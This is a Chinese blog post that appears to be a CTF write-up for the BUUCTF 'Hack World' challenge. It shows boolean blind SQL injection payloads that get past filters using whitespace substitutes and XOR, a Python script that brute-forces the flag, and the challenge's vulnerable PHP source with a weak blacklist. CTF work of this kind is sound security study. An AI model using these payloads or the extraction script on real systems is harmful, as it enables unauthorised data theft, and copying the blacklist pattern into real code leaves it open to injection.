• 布尔盲注payload补充


    布尔盲注payload补充

    前言

    • 题目环境:buuctf中[CISCN2019 华北赛区 Day2 Web1]Hack World1
    • 知识点:异或,布尔盲注
    • 参考wp1

    做题

    查询为假时 返回Error Occured When Fetch Result.
    语法错误时 返回bool(false)
    判断注入类型
    and被过滤了,or也被过滤了
    测试时发现,只要and 和or前面有任何字符都会被报过滤
    但是单独放and和or却是返回报错的信息
    当是猜的是正则
    看了源码才发现,原来是stripos过滤,单独放时返回为0,前面有任意字符时,返回非0
    这里如果是字符型注入,那么我放入aaaaa,应该是返回查询为假的信息
    但是返回的却是为错的信息,所以是数字型注入

    继续测试,我们会发现过滤了" ",并且使用/**/,/!/无法绕过,但是%09,%0a,%0b,%0c,%0d或者直接tab可以绕过
    union不能用,导致无法联合查询,and 和 or 被过滤导致类似1 and substr(database(),1,1)='t' 的payload无法使用
    目前我已知的联合查询,报错,布尔都不能用,堆叠;也被过滤了
    看了wp才发现可以这样构造
    payload1:if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2),()绕过空格
    payload2:if(ascii(substr((select%0aflag%0afrom(flag)),1,1))=ascii('f'),1,2),%0a之类的绕过空格
    还有的就是利用^
    相同出0,不同出1
    payload3:1^(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'))^1

    但是写脚本时,用%0a,%09之类的会跑不出,原因我也不知道。。

    脚本:

    import requests
    import sys
    url='http://68016530-3ba5-4a0d-8acd-994e33db0016.node3.buuoj.cn/index.php'
    sql="if((substr((select(flag)from(flag)),{0},1))='{1}',1,2)"
    flag=''
    for i in range(1,50):
    	print('guess',str(i))
    	for ch in range(32,129):
    		if ch==128:
    			sys.exit()
    		sqli=sql.format(i,chr(ch))
    		data={"id":sqli}
    		response=requests.post(url,data=data).text
    		if "Hello, glzjin wants a girlfriend." in response:
    			flag+=chr(ch)
    			print(flag)
    			break
    

    这里因为buuctf有防扫机制,导致flag爆不出,也没找到脚本。。就这样吧

    源码

    <?php
    $dbuser='root';
    $dbpass='root';
    
    function safe($sql){
        #被过滤的内容 函数基本没过滤
        $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
        foreach($blackList as $blackitem){
            if(stripos($sql,$blackitem)){
                return False;
            }
        }
        return True;
    }
    if(isset($_POST['id'])){
        $id = $_POST['id'];
    }else{
        die();
    }
    $db = mysql_connect("localhost",$dbuser,$dbpass);
    if(!$db){
        die(mysql_error());
    }   
    mysql_select_db("ctf",$db);
    
    if(safe($id)){
        $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
        
        if($query){
            $result = mysql_fetch_array($query);
            
            if($result){
                echo $result['content'];
            }else{
                echo "Error Occured When Fetch Result.";
            }
        }else{
            var_dump($query);
        }
    }else{
        die("SQL Injection Checked.");
    }
    
  • 相关阅读:
    上传文件到七牛云
    工具类
    SpringBoot 整合 JWT Token
    JWT
    SpringBoot使用RedisTemplate整合Redis
    poj1850 Code
    洛谷P1313 计算系数
    洛谷P1602 Sramoc问题
    —Libre#2009. 「SCOI2015」小凸玩密室
    2014-9-27 NOIP模拟赛
  • 原文地址:https://www.cnblogs.com/NineOne/p/14044582.html
Copyright © 2020-2023  润新知